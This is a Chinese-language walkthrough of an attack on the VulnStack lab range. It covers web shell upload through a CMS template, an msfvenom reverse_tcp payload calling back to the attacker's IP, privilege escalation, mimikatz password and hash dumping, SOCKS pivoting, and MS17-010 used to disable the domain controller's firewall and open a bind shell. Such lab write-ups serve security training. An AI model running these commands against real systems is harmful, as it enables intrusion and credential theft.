VulnStack靶场渗透测试

环境准备

环境拓扑图

 总共三台机器，除了win7是两张网卡，桥接和VMnet3，其他两台内网机器都是VMnet3

 kali和win7的桥接网卡模拟公网环境

一、信息收集

主机发现

netdiscover -i eth0 -r 192.168.1.0/24

目标IP：192.168.1.136

端口扫描

sudo masscan -p 1-65535 192.168.1.136 --rate=1000

目录扫描

gobuster -m dir -fw -u 192.168.1.136 -w /usr/share/wordlists/dirb/big.txt -t 50

看到有个phpMyAdmin

访问有弱口令root root

可以看到是yxcms的数据库

尝试访问http://192.168.1.136/yxcms/

公告信息有后台地址和密码

http://192.168.1.136/yxcms//index.php?r=admin

账户admin 密码123456

随后查看了robots.txt，有目录路径泄露

二、后台getshell

再管理首页-前台模板出插入一句话，再结合之前的路径泄露，getshell

蚁剑连接成功

三、内网信息收集

有两张网卡，192.168.52.143和192.168.1.136

也没有任何安全狗之类的安全设备，所以也不用做免杀

四、metasploit提权和内网信息收集

直接做个木马上传msf监听上线

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.162 lport=12345 -f exe >shell.exe

迁移进程到x64里面

直接尝试用攻击向量提权getsystem

通过mimikatz抓取到了本地管理员Administrator明文密码 hongrisec@20199

五、域内信息收集

msf容易掉线，所以cs上线后提权操作

域是GOD

域内所有计算机

域控机器名为OWA，另一台则叫ROOT-TVI862UBEH

获取域内登录过的用户信息

也可以用post模块后渗透直接定位域控

通过域内信息收集得到

两个IP段：192.168.1.136        192.168.52.143

域名：god.org

域管：owa

域管IP：192.168.52.138

六、添加代理渗透域控

添加路由

开启代理 use server/socks_proxy

proxychains设置代理nmap扫描内网 sudo vi /etc/proxychains4.conf 

扫描常用端口

开着445端口，扫描域控是否存在永恒之蓝ms17_010,确认后可以直接使用msf开打

打了几次也换了exp和payload都没有成功，原来没有关闭防火墙

所以使用ms17_010的远程命令执行关闭防火墙

set command netsh advfirewall set allprofiles state off

关闭防火墙之后用正向连接shell

windows/x64/meterpreter/bind_tcp

至此就打了域控的system权限

最后用mimikatz抓取密码

导出hash

run post/windows/gather/hashdump